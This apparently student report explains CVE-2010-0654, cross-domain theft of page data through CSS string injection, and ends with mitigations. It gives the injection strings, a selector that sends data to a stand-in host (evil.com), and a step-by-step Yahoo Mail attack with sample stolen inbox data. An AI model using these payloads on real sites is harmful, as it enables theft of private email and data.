Taavi Gilden

CROSS-DOMAIN THEFTS VIA CSS STRING PROPERTY INJECTION

CVE-2010-0654

Tartu
2014
What actually is cross-domain thefts via CSS string property injection and how does it work? It works by abusing the standards relating to the loading of CSS style sheets, because the CSS parser is not sufficiently strict. The standards are sending cookies on any load of CSS, which includes cross-domain and parsing the returned CSS to ignore all the data leading up to a valid CSS selector. The CSS parser will skip over any amount of data in order to find the valid selector. A valid selector looks something like this:

```
body { background-image: url('http://www.evil.com/blah'); }
```

If that construct can be forced to appear anywhere in a cross-domain document for example your e-mail inbox via a iframe, then cross-domain theft may be possible and the attacker can get sensitive data from you. The attacker can introduce this construct into a page by injecting two strings:

```
1. {}body{background-image:url('http://google.com/');}
2. ');
```

The seemingly unnecessary {} is to resync the CSS parser to make sure the evil descriptor parses properly. Anything between these two strings will then be cross-domain stealable.

To clarify, the background of the attacker's page will be styled with a background image loaded from an URL (in our case http://google.com/...stolen.stuff...), the path of which contains stolen data. Another thing that helps is that when using a CSS string which is an URL is that it will be automatically fetched even if JavaScript is turned off. The data is then collected by the attacker from their web server logs.

There are a surprising number of places in web sites where an attacker can do this. It can apply to HTML, XML, JSON, XHTML and so on. Fortunately there are some limitations to exploiting this. Newlines in the injected string break the CSS parse for example. Also escaping or encoding of quote characters can also interfere with exploitation. One useful trick: if ' is escaped, you can use " instead to enclose the CSS string. Another way of limiting it is that the attacked has to control two injection points, pre-string and post-string and in many cases, the attacked will not have enough influence over the page data.

At this point, an example might be useful. To set it up, you will need and Yahoo mail account. The steps would be:
1. E-mail the target victim Yahoo! account with the subject: '};}
2. Wait a bit, so that some sensitive e-mails fill the inbox or just simulate one yourself
3. E-mail the target victim with the subject:

```
{}body{background-image:url('http://google.com/}
```
4. Include in the body:

```
PLEASE CLICK http://cevans-app.appspot.com/static/yahoocss.html
```
5. The stolen text shown is achieved via cross-domain CSS theft

If you set up the above scenario correctly as a test, you might see something like this in an alert box when clicking the link:

```
url(http://google.com/%3C/a%3E%3Cbr/%3E%3Cspan%3E3Cspan%20class=%22
j%22%3EChris%20Evans%3C/span%3E%3C/span%3E%3C/div%3E%3C/div%3E
%3Cdiv%20class=%22h%22%3E%3Cdiv%20class=%22i%22%3E%3Cspan%3E%3
C%22href=%22/p/mail/messageDetail?fid=Inbox&amp;mid=1_3493_AG
vHtEQAawFgSizgAlWYQxHqDY&3=q%22%3ESuper%20sensitive%20subject
%3C/a%3E%3Cbr/%3E%3Cspan%3E3Cspan%20class=%22j%22%3EChris%20Evans%3C/span%3E%3C/span%3E%3C/div%3E%3C/div%3E%3C/div%20class=%22h%22%3E%3C/div%3E%3C/div%3E%3C/div%20class=%22i%22%3E%3Cspan%3E3Ca%20href=%22/p/mail/messag
geDetail?fid=Inbox&amp;mid=1_3933_AGThEQAAM%2FHSgwE8Fwm1%2FI&5=x%22%3E)
```

The above text is stolen cross-domain. The interesting pieces are marked in bold. The data includes the subjects, senders and "mid" value for all e-mails received between the two set-up e-mails we sent the victim. The "mid" value is the one that interests us most as an attacker.

To fix the issue it would be nice to be able to not send cookies for cross-domain CSS loads, however that would certainly break a lot of sites.

Other solution would be to restrict read of CSS text if it came from a different domain. Unfortunately it will not help us a lot since the attacker and simply use URL as a prefix for the background-image value and wait for the GET to arrive with the stolen data.

It would also be nice to be strict on the MIME type when loading CSS resources. Checking the MIME type to see if the content-type in the header is what it’s supposed to be
and activating „string MIME type required“ in the event CSS was loaded as a cross-domain resource.

A good balance is to require the CSS to atleast start with a well formed CSS, if it is a cross-domain load and the MIME type is broken.
References

https://bugzilla.mozilla.org/show_bug.cgi?id=524223
http://scarybeastsecurity.blogspot.com/2009/12/generic-cross-browser-cross-domain.html